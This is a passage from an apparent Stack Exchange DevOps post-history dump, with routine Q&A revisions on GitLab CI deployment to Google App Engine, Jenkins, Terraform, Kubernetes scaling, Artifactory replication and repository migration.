deployment example using the 1st approach that I found in [Getting started with Angular 6, GitLab CI/CD and Google App Engine][7] (probably a good read for details):&#xD;&#xA;&#xD;&#xA;- in gitlab set env vars with your GAE service account and project ID info&#xD;&#xA;- in your `.gitlab-ci.yml` file's deployment section add a `before_script` section for installing the SDK (update for current SDK version)&#xD;&#xA;&#xD;&#xA;&gt;             before_script:&#xD;&#xA;&gt;               - wget https://dl.google.com/dl/cloudsdk/channels/rapid/downloads/google-cloud-sdk-218.0.0-linux-x86.tar.gz&#xD;&#xA;&gt;               - tar -xzf  google-cloud-sdk-218.0.0-linux-x86.tar.gz&#xD;&#xA;&gt;               - ./google-cloud-sdk/install.sh&#xD;&#xA;&#xD;&#xA;and a `script` section for the actual deployment, referencing those env vars:&#xD;&#xA;&#xD;&#xA;&gt;             script:&#xD;&#xA;&gt;               - echo $GAE_KEY_FILE &gt; gae_auth.json&#xD;&#xA;&gt;               - ./google-cloud-sdk/bin/gcloud auth activate-service-account --key-file gae_auth.json&#xD;&#xA;&gt;               - ./google-cloud-sdk/bin/gcloud app deploy --project=$GAE_PROJECT_ID&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/sdk/gcloud/reference/app/deploy&#xD;&#xA;  [2]: https://cloud.google.com/appengine/docs/admin-api/deploying-overview&#xD;&#xA;  [3]: https://cloud.google.com/appengine/docs/admin-api/uploading-resources&#xD;&#xA;  [4]: https://cloud.google.com/appengine/docs/admin-api/creating-config-files&#xD;&#xA;  [5]: https://cloud.google.com/appengine/docs/admin-api/deploying-apps&#xD;&#xA;  [6]: https://cloud.google.com/sdk/docs/&#xD;&#xA;  [7]: https://revs.runtime-revolution.com/getting-started-with-angular-6-gitlab-ci-cd-and-google-app-engine-b1118efcdf69&#xD;&#xA;  [8]: https://medium.com/@gaforres/publishing-google-cloud-container-registry-images-from-gitlab-ci-23c45356ff0e&#xD;&#xA;  [9]: https://gist.github.com/foklepoint/2f9087375830068ec032ef326d93f423" ContentLicense="CC BY-SA 4.0" />
  <row Id="19305" PostHistoryTypeId="5" PostId="6019" RevisionGUID="ebc3d997-3a9e-4fe3-82ef-6b0d1efc5087" CreationDate="2019-01-17T17:42:17.013" UserId="11527" Comment="added 11 characters in body; edited title" Text="For [continuous delivery](https://devops.stackexchange.com/a/493), we do manual deployment after generating binary artifacts from Jenkins pipeline(in an automated process).&#xD;&#xA;&#xD;&#xA;Further, &#xD;&#xA;for [continuous deployment](https://devops.stackexchange.com/a/493), we would like to use IBM UrbanCode tool to automate provisioning and configuration of services  on  both AWS cloud and Azure cloud.&#xD;&#xA;&#xD;&#xA;---------------&#xD;&#xA;&#xD;&#xA;1) Does IBM UrbanCode tool help provisioning and configuration of services to AWS and Azure cloud?&#xD;&#xA;&#xD;&#xA;2) Does Jenkins support plugin to work with IBM UrbanCode deploy tool? To deploy on AWS and Azure cloud&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19306" PostHistoryTypeId="4" PostId="6019" RevisionGUID="ebc3d997-3a9e-4fe3-82ef-6b0d1efc5087" CreationDate="2019-01-17T17:42:17.013" UserId="11527" Comment="added 11 characters in body; edited title" Text="Jenkins - IBM UrbanCode - AWS &amp; Azure cloud" ContentLicense="CC BY-SA 4.0" />
  <row Id="19307" PostHistoryTypeId="2" PostId="6026" RevisionGUID="0e8f749b-4d11-43d5-a89a-058493136d5f" CreationDate="2019-01-17T19:05:13.387" UserId="11893" Text="If you are using Jenkins the answer is in this document:&#xD;&#xA;&#xD;&#xA;https://getintodevops.com/blog/building-your-first-docker-image-with-jenkins-2-guide-for-developerså" ContentLicense="CC BY-SA 4.0" />
  <row Id="19308" PostHistoryTypeId="5" PostId="6026" RevisionGUID="96955b02-24a5-4077-b0ce-7524bccf9a67" CreationDate="2019-01-17T19:46:37.357" UserId="11893" Comment="Updated with images." Text="If you are using Jenkins the answer is in this document:&#xD;&#xA;&#xD;&#xA;https://getintodevops.com/blog/building-your-first-docker-image-with-jenkins-2-guide-for-developers&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/fWujG.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/7JvTP.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="19309" PostHistoryTypeId="50" PostId="5758" RevisionGUID="8623b193-9458-4552-a010-9d2480b01b20" CreationDate="2019-01-17T20:02:15.450" UserId="-1" />
  <row Id="19310" PostHistoryTypeId="2" PostId="6027" RevisionGUID="6d8158ef-969c-45c3-8ecb-7e9fa08633b5" CreationDate="2019-01-17T20:06:28.553" UserId="11645" Text="Yes, you can set up push event-driven replication. Please note that while pull replication prepopulates remote repository in server A from a local repository in server B, push replication replicates between two local repositories. Once you set up a virtual repository it doesn't really matter because you'll have a single point of access anyway, but just something for you to be aware of. &#xD;&#xA;&#xD;&#xA;You can read more about push replication and pull replication in [the user guide][1]. Also, please [find here a whitepaper on different replication topologies][2] and [a webinar on the same topic][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jfrog.com/confluence/display/RTF/Repository+Replication&#xD;&#xA;  [2]: https://jfrog.com/whitepaper/replication-using-artifactory-to-manage-binaries-across-multi-site-topologies/&#xD;&#xA;  [3]: https://www.youtube.com/watch?v=-HIwODsETMg" ContentLicense="CC BY-SA 4.0" />
  <row Id="19311" PostHistoryTypeId="50" PostId="5777" RevisionGUID="221b2d05-c9d2-48a8-b3a9-9b2005e1f6e1" CreationDate="2019-01-17T21:02:20.503" UserId="-1" />
  <row Id="19312" PostHistoryTypeId="2" PostId="6028" RevisionGUID="c334d9cb-8cb3-4d3a-8b22-36af8868ccf0" CreationDate="2019-01-17T22:20:11.187" UserId="10599" Text="If you looking for a fun idea try adding a chatbot it to drive your devops automation:&#xA;&#xA;[![slackbot deploy][1]][1]&#xA;&#xA;[![slackbot regex][2]][2]&#xA;&#xA;[![Slackbot architecture][3]][3]&#xA;&#xA;I wrote a [short presentation][4] with a link at the end to a video of settings up a chatbot on slack but botkit supports a lot of different chat solutions. &#xA;&#xA;&#xA;  [1]: https://i.stack.imgur.com/bXKC4.jpg&#xA;  [2]: https://i.stack.imgur.com/O3MFx.jpg&#xA;  [3]: https://i.stack.imgur.com/mhn9C.jpg&#xA;  [4]: https://www.slideshare.net/simbo1905/chatbots-for-selfservice-devops?from_m_app=ios" ContentLicense="CC BY-SA 4.0" />
  <row Id="19313" PostHistoryTypeId="5" PostId="6028" RevisionGUID="8c53a875-d59b-4c2b-a0eb-e9a04d4bfdcd" CreationDate="2019-01-17T22:30:55.213" UserId="10599" Comment="deleted 3 characters in body" Text="If you looking for a fun idea try adding a chatbot to drive your devops automation:&#xA;&#xA;[![slackbot deploy][1]][1]&#xA;&#xA;[![slackbot regex][2]][2]&#xA;&#xA;[![Slackbot architecture][3]][3]&#xA;&#xA;I wrote a [short presentation][4] with a link at the end to a video of settings up a chatbot on slack but botkit supports a lot of different chat solutions. &#xA;&#xA;&#xA;  [1]: https://i.stack.imgur.com/bXKC4.jpg&#xA;  [2]: https://i.stack.imgur.com/O3MFx.jpg&#xA;  [3]: https://i.stack.imgur.com/mhn9C.jpg&#xA;  [4]: https://www.slideshare.net/simbo1905/chatbots-for-selfservice-devops?from_m_app=ios" ContentLicense="CC BY-SA 4.0" />
  <row Id="19314" PostHistoryTypeId="2" PostId="6029" RevisionGUID="60c5af08-d2f2-4faa-94be-f2ac10299899" CreationDate="2019-01-17T22:47:38.750" UserId="4175" Text="Shameless self-answer:&#xD;&#xA;&#xD;&#xA;So it turns out the only way to edit the statefulset, and this is by design, is to delete it and recreate it with the new values.&#xD;&#xA;&#xD;&#xA;Doing that does not delete or stop the pods or the the PVCs - those will re-attach to the new statefulset spun up later, so you won't lose anything. N.B.: you can delete the pods, and the PVCs will still stick around. When the pods belonging to this statefulset restart later, they will re-attach to the PVCs.&#xD;&#xA;&#xD;&#xA;There is a discussion on one of the OpenShift/Kubernetes task trackers (which I cannot find anymore) that explains the rationale: in contrast with stateless Deployments, where OpenShift can simply scale up a new set of pods, then scale down the old one, while routing traffic to the new one, this is not easily possible with statefulsets, since those have persistent PVCs, so there usually is a very defined number of pods that can/should run at a time. &#xD;&#xA;&#xD;&#xA;So, if OpenShift would do an upgrade for you, due to an edit, it would need to decide how to do that (spawn up new pods parallel to the old one would require spinning up PVCs which may wreak havoc with your quota; replacing them in-place could wreak havoc if your pods need to talk to each other to synchronize). Hence, they require you to do this on your own. For example, you can decide to delete and recreate the statefulset, then delete one of the pods after the other; they will be automatically recreated immediately, as usual. You can then wait until the next pod has reached a state where it is synced with the other ones (in whatever way your software does it), then delete the next one etc., until you have upgraded them all.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19316" PostHistoryTypeId="2" PostId="6031" RevisionGUID="8407c1c6-1559-4d09-9214-256194a54337" CreationDate="2019-01-18T09:32:09.130" UserId="11832" Text="You mentioned that the auth key is stored in Jenkins credentials and are available as environment variables, if so, then your half task is already done; what you can probably do from here is, use those environment variables to perform docker login (assuming USERNAME and PASSWORD are the Jenkins credentials variable), use the below command to login&#xD;&#xA;```&#xD;&#xA;docker login your.docker-registry.com -u $USERNAME -p $PASSWORD&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This assumes, that your registry has SSL enabled, if so, don't forget to place the registry certificates under the below name on your Jenkin host&#xD;&#xA;```&#xD;&#xA;/etc/docker/certs.d/your.docker-registry/ca.crt&#xD;&#xA;```&#xD;&#xA;Post this, you would be able to push image to the registry" ContentLicense="CC BY-SA 4.0" />
  <row Id="19317" PostHistoryTypeId="2" PostId="6032" RevisionGUID="f9c847de-8714-47b2-bf8d-2005068b991f" CreationDate="2019-01-18T10:48:09.237" UserId="3978" Text="I would love to get some clarity too maybe from a more authoritative source than myself (I'm sure I'm guilty of FUD too).&#xD;&#xA;&#xD;&#xA;I've been looking to deploy to Azure using Kubernetes.  I am similarly confused but I think that is because there isn't one clear path.  I can't speak for Microsoft but their attitude to cloud seems to be they are happy to become &quot;*all things to all men*&quot;.  If you are using Azure, Microsoft don't seem to have a strong opinion on how you get there. &#xD;&#xA;&#xD;&#xA;Microsoft are actively trying to evolve; e.g. &#xD;&#xA;[Linux now dominates Azure](https://www.zdnet.com/article/linux-now-dominates-azure/)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Clearly **Azure DevOps** deployment pipeline does exactly what Jenkins can do - so in that sense it is a competitor.  There is also that slightly off-putting upfront Azure DevOps pricing for parallel pipelines.&#xD;&#xA;&#xD;&#xA;On the one hand, Azure DevOps appears to be a re branding of Visual Studio Team Services.  So it will be familiar to people already in within the traditional Microsoft development ecosystem.  At the same time Microsoft are making great efforts to embrace technologies that are not traditionally Microsoft ([Go, Java, Node.js, Python, Ruby, PHP](https://docs.microsoft.com/en-us/azure/devops/pipelines/index?view=vsts) etc).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;***Meanwhile;***&#xD;&#xA;&#xD;&#xA;The Azure Marketplace offers a [Jenkins deployment](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/azure-oss.jenkins) that comes with Azure deployment plugins out of the box.&#xD;&#xA;&#xD;&#xA;Many Jenkins plugins have been developed by the [Azure DevOps team](https://plugins.jenkins.io/?q=azure%20devops%20team).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;***in addition;***&#xD;&#xA;&#xD;&#xA;Microsoft have put their backing behind Kubernetes related projects [Helm](https://docs.microsoft.com/en-us/azure/aks/kubernetes-helm) and [Draft](https://docs.microsoft.com/en-us/azure/aks/kubernetes-draft).  Helm is a package manager for Kubernetes.  You can even use Helm to deploy a Jenkins installation into Kubernetes.&#xD;&#xA;&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;It would be interesting to see someone weigh up the [costs](https://azure.microsoft.com/en-us/pricing/calculator) and effort of running your own Jenkins in Azure verses using Azure DevOps pipelines.&#xD;&#xA;&#xD;&#xA;So it would seem we have many options and decisions to make." ContentLicense="CC BY-SA 4.0" />
  <row Id="19318" PostHistoryTypeId="2" PostId="6033" RevisionGUID="23f0d7b5-bb00-45f8-a624-2a2e73c45366" CreationDate="2019-01-18T10:58:35.323" UserId="8332" Text="I'm having a strange problem when trying to import an `aws_security_group_rule` into terraform.&#xD;&#xA;&#xD;&#xA;I'm running the latest version of TF (0.11.11)&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;`terraform import module.ec2.aws_security_group_rule.control_elb sg-securitygroupid_ingress_tcp_8080_8080_sg-sourcesgid`&#xD;&#xA;&#xD;&#xA;Returns `resource aws_security_group_rule doesn't support import`&#xD;&#xA;&#xD;&#xA;However, looking at the documentation, this does seem possible?&#xD;&#xA;&#xD;&#xA;https://www.terraform.io/docs/providers/aws/r/security_group_rule.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="19319" PostHistoryTypeId="1" PostId="6033" RevisionGUID="23f0d7b5-bb00-45f8-a624-2a2e73c45366" CreationDate="2019-01-18T10:58:35.323" UserId="8332" Text="Terraform - aws_security_group_rule doesn't support import" ContentLicense="CC BY-SA 4.0" />
  <row Id="19320" PostHistoryTypeId="3" PostId="6033" RevisionGUID="23f0d7b5-bb00-45f8-a624-2a2e73c45366" CreationDate="2019-01-18T10:58:35.323" UserId="8332" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19321" PostHistoryTypeId="5" PostId="6032" RevisionGUID="b3cdbb2a-dcdd-4dab-b6ca-123ed33a36e2" CreationDate="2019-01-18T11:05:00.740" UserId="3978" Comment="added 10 characters in body" Text="I would love to get some clarity too maybe from a more authoritative source than myself (I'm sure I'm guilty of FUD too).&#xD;&#xA;&#xD;&#xA;I've been looking to deploy to Azure using Kubernetes.  I am similarly confused but I think that is because there isn't one clear path.  I can't speak for Microsoft but their attitude to cloud seems to be they are happy to become &quot;*all things to all men*&quot;.  If you are using Azure, Microsoft don't seem to have a strong opinion on how you get there. &#xD;&#xA;&#xD;&#xA;Microsoft are actively trying to evolve; e.g. &#xD;&#xA;[Linux now dominates Azure](https://www.zdnet.com/article/linux-now-dominates-azure/)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Clearly **Azure DevOps** deployment pipeline does exactly what Jenkins can do - so in that sense it is a competitor.  There is also that slightly off-putting upfront Azure DevOps pricing for parallel pipelines.&#xD;&#xA;&#xD;&#xA;On the one hand, Azure DevOps appears to be a re branding of Visual Studio Team Services.  So it will be familiar to people already in within the traditional Microsoft development ecosystem.  At the same time Microsoft are making great efforts to embrace technologies that are not traditionally Microsoft ([Go, Java, Node.js, Python, Ruby, PHP](https://docs.microsoft.com/en-us/azure/devops/pipelines/index?view=vsts) etc).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;***Meanwhile;***&#xD;&#xA;&#xD;&#xA;The Azure Marketplace offers a [Jenkins deployment](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/azure-oss.jenkins) that comes with Azure deployment plugins out of the box.&#xD;&#xA;&#xD;&#xA;Many Jenkins plugins have been developed by the [Azure DevOps team](https://plugins.jenkins.io/?q=azure%20devops%20team).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;***in addition;***&#xD;&#xA;&#xD;&#xA;Microsoft have put their backing behind Kubernetes related projects [Helm](https://docs.microsoft.com/en-us/azure/aks/kubernetes-helm) and [Draft](https://docs.microsoft.com/en-us/azure/aks/kubernetes-draft).  Helm is a package manager for Kubernetes.  You can even use Helm to deploy a Jenkins installation into Kubernetes.&#xD;&#xA;&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;It would be interesting to see someone weigh up the benefits, [costs](https://azure.microsoft.com/en-us/pricing/calculator) and effort of running your own Jenkins in Azure verses using Azure DevOps pipelines.&#xD;&#xA;&#xD;&#xA;So it would seem we have many options and decisions to make." ContentLicense="CC BY-SA 4.0" />
  <row Id="19322" PostHistoryTypeId="5" PostId="6032" RevisionGUID="8d5e3d69-1686-46ff-ba89-8c5fe62883aa" CreationDate="2019-01-18T11:11:26.907" UserId="3978" Comment="added 341 characters in body" Text="I would love to get some clarity too maybe from a more authoritative source than myself (I'm sure I'm guilty of FUD too).&#xD;&#xA;&#xD;&#xA;I've been looking to deploy to Azure using Kubernetes.  I am similarly confused but I think that is because there isn't one clear path.  I can't speak for Microsoft but their attitude to cloud seems to be they are happy to become &quot;*all things to all men*&quot;.  If you are using Azure, Microsoft don't seem to have a strong opinion on how you get there. &#xD;&#xA;&#xD;&#xA;Microsoft are actively trying to evolve; e.g. &#xD;&#xA;[Linux now dominates Azure](https://www.zdnet.com/article/linux-now-dominates-azure/)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Clearly **Azure DevOps** deployment pipeline does exactly what Jenkins can do - so in that sense it is a competitor.  There is also that slightly off-putting upfront Azure DevOps pricing for parallel pipelines.&#xD;&#xA;&#xD;&#xA;On the one hand, Azure DevOps appears to be a re branding of Visual Studio Team Services.  So it will be familiar to people already in within the traditional Microsoft development ecosystem.  At the same time Microsoft are making great efforts to embrace technologies that are not traditionally Microsoft ([Go, Java, Node.js, Python, Ruby, PHP](https://docs.microsoft.com/en-us/azure/devops/pipelines/index?view=vsts) etc).&#xD;&#xA;&#xD;&#xA;It is early days - but it is not a surprise that Azure DevOps pipelines should prefer the Microsoft Git properties of Azure Repos and GitHub.  In the same way that [BitBucket pipelines](https://bitbucket.org/product/features/pipelines) prefers BitBucket and [GitLab pipelines](https://docs.gitlab.com/ee/ci/pipelines.html) prefer GitLab.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;***Meanwhile;***&#xD;&#xA;&#xD;&#xA;The Azure Marketplace offers a [Jenkins deployment](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/azure-oss.jenkins) that comes with Azure deployment plugins out of the box.&#xD;&#xA;&#xD;&#xA;Many Jenkins plugins have been developed by the [Azure DevOps team](https://plugins.jenkins.io/?q=azure%20devops%20team).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;***in addition;***&#xD;&#xA;&#xD;&#xA;Microsoft have put their backing behind Kubernetes related projects [Helm](https://docs.microsoft.com/en-us/azure/aks/kubernetes-helm) and [Draft](https://docs.microsoft.com/en-us/azure/aks/kubernetes-draft).  Helm is a package manager for Kubernetes.  You can even use Helm to deploy a Jenkins installation into Kubernetes.&#xD;&#xA;&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;It would be interesting to see someone weigh up the benefits, [costs](https://azure.microsoft.com/en-us/pricing/calculator) and effort of running your own Jenkins in Azure verses using Azure DevOps pipelines.&#xD;&#xA;&#xD;&#xA;So it would seem we have many options and decisions to make." ContentLicense="CC BY-SA 4.0" />
  <row Id="19323" PostHistoryTypeId="5" PostId="6032" RevisionGUID="9322fadf-da9e-469b-b46b-e33c170c5bac" CreationDate="2019-01-18T11:23:06.137" UserId="3978" Comment="added 61 characters in body" Text="I would love to get some clarity too maybe from a more authoritative source than myself (I'm sure I'm guilty of FUD too).&#xD;&#xA;&#xD;&#xA;I've been looking to deploy to Azure using Kubernetes.  I am similarly confused but I think that is because there isn't one clear path.  I can't speak for Microsoft but their attitude to cloud seems to be they are happy to become &quot;*all things to all men*&quot;.  If you are using Azure, Microsoft don't seem to have a strong opinion on how you get there. &#xD;&#xA;&#xD;&#xA;Microsoft are actively trying to evolve; e.g. &#xD;&#xA;[Linux now dominates Azure](https://www.zdnet.com/article/linux-now-dominates-azure/)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Clearly **Azure DevOps** deployment pipeline does exactly what Jenkins can do - so in that sense it is a competitor.  There is also that slightly off-putting upfront Azure DevOps pricing for parallel pipelines.&#xD;&#xA;&#xD;&#xA;On the one hand, Azure DevOps appears to be a re-branding of Visual Studio Team Services.  So it will be familiar to people already within the traditional Microsoft development ecosystem.  At the same time Microsoft are making great efforts to embrace technologies that are not traditionally Microsoft ([Go, Java, Node.js, Python, Ruby, PHP](https://docs.microsoft.com/en-us/azure/devops/pipelines/index?view=vsts) etc).&#xD;&#xA;&#xD;&#xA;It is early days - but it is not a surprise that Azure DevOps pipelines should prefer the Microsoft Git properties of Azure Repos and GitHub.  In the same way that [BitBucket pipelines](https://bitbucket.org/product/features/pipelines) prefers BitBucket and [GitLab pipelines](https://docs.gitlab.com/ee/ci/pipelines.html) prefer GitLab.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;***Meanwhile;***&#xD;&#xA;&#xD;&#xA;The Azure Marketplace offers a [Jenkins deployment](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/azure-oss.jenkins) that comes with Azure deployment plugins out of the box.&#xD;&#xA;&#xD;&#xA;Many Jenkins plugins have been developed by the [Azure DevOps team](https://plugins.jenkins.io/?q=azure%20devops%20team).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;***in addition;***&#xD;&#xA;&#xD;&#xA;Microsoft have put their backing behind Kubernetes related projects [Helm](https://docs.microsoft.com/en-us/azure/aks/kubernetes-helm) and [Draft](https://docs.microsoft.com/en-us/azure/aks/kubernetes-draft).  Helm is a package manager for Kubernetes.  You can even use Helm to deploy a Jenkins installation into Kubernetes.&#xD;&#xA;&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;It would be interesting to see someone weigh up the benefits, [costs](https://azure.microsoft.com/en-us/pricing/calculator) and effort of running your own Jenkins in Azure verses using Azure DevOps pipelines.&#xD;&#xA;&#xD;&#xA;... and then there is [Jenkins-X](https://jenkins-x.io/).&#xD;&#xA;&#xD;&#xA;So it would seem we have many options and decisions to make." ContentLicense="CC BY-SA 4.0" />
  <row Id="19330" PostHistoryTypeId="2" PostId="6036" RevisionGUID="bd835b6e-059a-42b0-b1a9-80353270c6f3" CreationDate="2019-01-18T16:58:42.453" UserId="11907" Text="We recently moved our `GraphQL` API from a big stateful monolithic app to a stateless design running on kubernetes in Google Cloud.&#xD;&#xA;&#xD;&#xA;Our production cluster is composed of:&#xD;&#xA;&#xD;&#xA;* 6x n1-standard-2 (2 vCPUs, 7.5 GB memory)&#xD;&#xA;* 6x nodes over 3 instance groups (regions)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On top of the kubernetes system pods, we have:&#xD;&#xA;&#xD;&#xA; * 2x api-service per node (12 total)&#xD;&#xA; * 1x nginx service per node (6 total)&#xD;&#xA; * \+ a single redis instance *shared by **all** api-services* (1 total)&#xD;&#xA;&#xD;&#xA;We developed load tests using [locust](https://locust.io/) that graphql queries on the cluster. The test runs a master &amp; slaves processes that run queries over our endpoint to mimic user load.&#xD;&#xA;&#xD;&#xA;We tried different configurations, but we seem to hit a wall at arround 25 requests per second. So far, we tried:&#xD;&#xA;&#xD;&#xA;* To help make sure our test wasn't the culprit, we ran more slaves running the test from more computers (very powerful 8-cores machines)&#xD;&#xA;* The nodes were at roughly 25% CPU during testing, so we tried doubling the pod count to no avail&#xD;&#xA;* We tried starting a second redis instance to see if redis was the bottleneck - no changes on RPS&#xD;&#xA;* Our SQL server load is super low (~15% cpu, plenty of ram available, no IO bottleneck)&#xD;&#xA;* Our pods are 100% stateless, so they don't even have mounted disks, no IO bottleneck&#xD;&#xA;* Internal network traffic is slow... no Network bottleneck&#xD;&#xA;* Our api-service containers (dotnetcore) have plenty of threads available (Max ThreadCount is at default 32768 and we only see 5-6 threads used at any time during &quot;max load&quot;&#xD;&#xA;* Our api-service code is non blocking, using async calls everywhere we can&#xD;&#xA;* We DID get some redis timeout errors under load though, but we couldn't find why. `slowlog` returned 1 query once in a while&#xD;&#xA;&#xD;&#xA;So, we're starting to exhaust our theories on why this setup can't scale any higher. We are starting to doubt our actual test now and investigating that direction, but we haven't found anything suspicious yet.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19331" PostHistoryTypeId="1" PostId="6036" RevisionGUID="bd835b6e-059a-42b0-b1a9-80353270c6f3" CreationDate="2019-01-18T16:58:42.453" UserId="11907" Text="gcloud Kubernetes API - Can't scale over 25 RPS, or how to find a bottleneck" ContentLicense="CC BY-SA 4.0" />
  <row Id="19332" PostHistoryTypeId="3" PostId="6036" RevisionGUID="bd835b6e-059a-42b0-b1a9-80353270c6f3" CreationDate="2019-01-18T16:58:42.453" UserId="11907" Text="&lt;kubernetes&gt;&lt;google-cloud-platform&gt;&lt;load-balance&gt;&lt;redis&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19333" PostHistoryTypeId="5" PostId="5997" RevisionGUID="ba584d7a-9444-42cd-a837-fb3639be5b1e" CreationDate="2019-01-18T17:17:29.773" UserId="11840" Comment="Restating the question in what I hope is a more coherent way." Text="We have a git repository that is currently hosted on Azure Devops and have to migrate it to our in house TFS 2017 git (the move is due to a business decision).&#xD;&#xA;&#xD;&#xA;But during this setup we need to run both the original and new repositories in parallel for a time and synchronise them regularly until the new repository is signed off by the Dev leads. Only after the new one is approved by the team lead will the devs switch over and then we will make the original read-only. Throughout this process, we need to ensure the developers remain productive.&#xD;&#xA;&#xD;&#xA;So how do we perform the initial migration from the Azure Devops repository to the new TFS 2017 git?&#xD;&#xA;And then how do we synchronise them regularly so that the new one does not get too far out of sync with the original?&#xD;&#xA;&#xD;&#xA;We want to include the commit message history when migrating and syncing." ContentLicense="CC BY-SA 4.0" />
  <row Id="19334" PostHistoryTypeId="4" PostId="5997" RevisionGUID="ba584d7a-9444-42cd-a837-fb3639be5b1e" CreationDate="2019-01-18T17:17:29.773" UserId="11840" Comment="Restating the question in what I hope is a more coherent way." Text="How to keep original and new repositories in sync during a migration? (including the commit history)" ContentLicense="CC BY-SA 4.0" />
  <row Id="19335" PostHistoryTypeId="2" PostId="6037" RevisionGUID="50a20d28-1992-4e8b-abd9-a996945e3fc7" CreationDate="2019-01-18T18:09:05.987" UserId="11793" Text="Found out that the remote_file resource couldn't handle redirects. Hence I had to write a ruby_block resource that makes use of 'Down' gem.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ruby_block 'download_openvpn_zip' do&#xD;&#xA;	block do &#xD;&#xA;		attempt = 2&#xD;&#xA;		begin&#xD;&#xA;			retries ||= 0&#xD;&#xA;			tempfile = Down::NetHttp.download(&quot;http://www.someurl.com/#{zip},max_redirects: 0)&#xD;&#xA;			FileUtils.mv tempfile.path, &quot;#{node['openvpn-conf-path']}/#{tempfile.original_filename}&quot;&#xD;&#xA;		rescue Down::TooManyRedirects =&gt; e&#xD;&#xA;			puts &quot;\n \t ERROR: #{e.message}&quot;&#xD;&#xA;			retry if (retries += 1) &lt; 1&#xD;&#xA;		end	&#xD;&#xA;	end&#xD;&#xA;	action :run&#xD;&#xA;	notifies :run, 'execute[unzip_file]', :delayed&#xD;&#xA;end&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="19341" PostHistoryTypeId="2" PostId="6039" RevisionGUID="2558ade4-f755-4ace-8c26-dd402da0e8ac" CreationDate="2019-01-18T22:00:51.070" UserId="11916" Text="I'm coming from Ops and I don't have a heavy software engineering background. In Jenkins, what is a &quot;build&quot; exactly and why is it named such? When I build a shell/powershell script, I'm not really compiling anything, am I? Then why is Jenkins &quot;building&quot; the source code. I thought building from source to binary is for compiled languages, unless Jenkis is using the word &quot;build&quot; in a more generic manner.&#xD;&#xA;&#xD;&#xA;Please help me understand what's going on objectively. " ContentLicense="CC BY-SA 4.0" />
  <row Id="19342" PostHistoryTypeId="1" PostId="6039" RevisionGUID="2558ade4-f755-4ace-8c26-dd402da0e8ac" CreationDate="2019-01-18T22:00:51.070" UserId="11916" Text="Jenkins: What is a build?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19343" PostHistoryTypeId="3" PostId="6039" RevisionGUID="2558ade4-f755-4ace-8c26-dd402da0e8ac" CreationDate="2019-01-18T22:00:51.070" UserId="11916" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;jenkins-pipeline&gt;&lt;build-pipeline&gt;&lt;software-engineering&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19345" PostHistoryTypeId="2" PostId="6040" RevisionGUID="8a679e83-d000-40f8-822f-1ecec4c4e300" CreationDate="2019-01-19T00:29:26.857" UserId="11645" Text="As you guessed, _build_ not necessarily means &quot;compile&quot;. _Building_ is a process of creating software from sources, which might include stuff like gathering dependencies, compiling, archiving, transforming code in any way, but also testing, deploying to different environments and promoting the artifacts between them." ContentLicense="CC BY-SA 4.0" />
  <row Id="19346" PostHistoryTypeId="6" PostId="6039" RevisionGUID="a07a72c1-4119-4cda-bd75-6fc97d46d3f7" CreationDate="2019-01-19T02:55:10.050" UserId="47" Comment="edited tags" Text="&lt;jenkins&gt;&lt;terminology&gt;&lt;build-pipeline&gt;&lt;software-engineering&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19347" PostHistoryTypeId="4" PostId="6020" RevisionGUID="93a5dfd8-ddc3-4d15-b89b-6296d2ad55f5" CreationDate="2019-01-19T02:57:13.180" UserId="11645" Comment="fixed product name" Text="Additional push event syncing between JFrog Artifactory instances" ContentLicense="CC BY-SA 4.0" />
  <row Id="19348" PostHistoryTypeId="24" PostId="6020" RevisionGUID="93a5dfd8-ddc3-4d15-b89b-6296d2ad55f5" CreationDate="2019-01-19T02:57:13.180" Comment="Proposed by 11645 approved by 40, 47 edit id of 919" ContentLicense="CC BY-SA 4.0" />
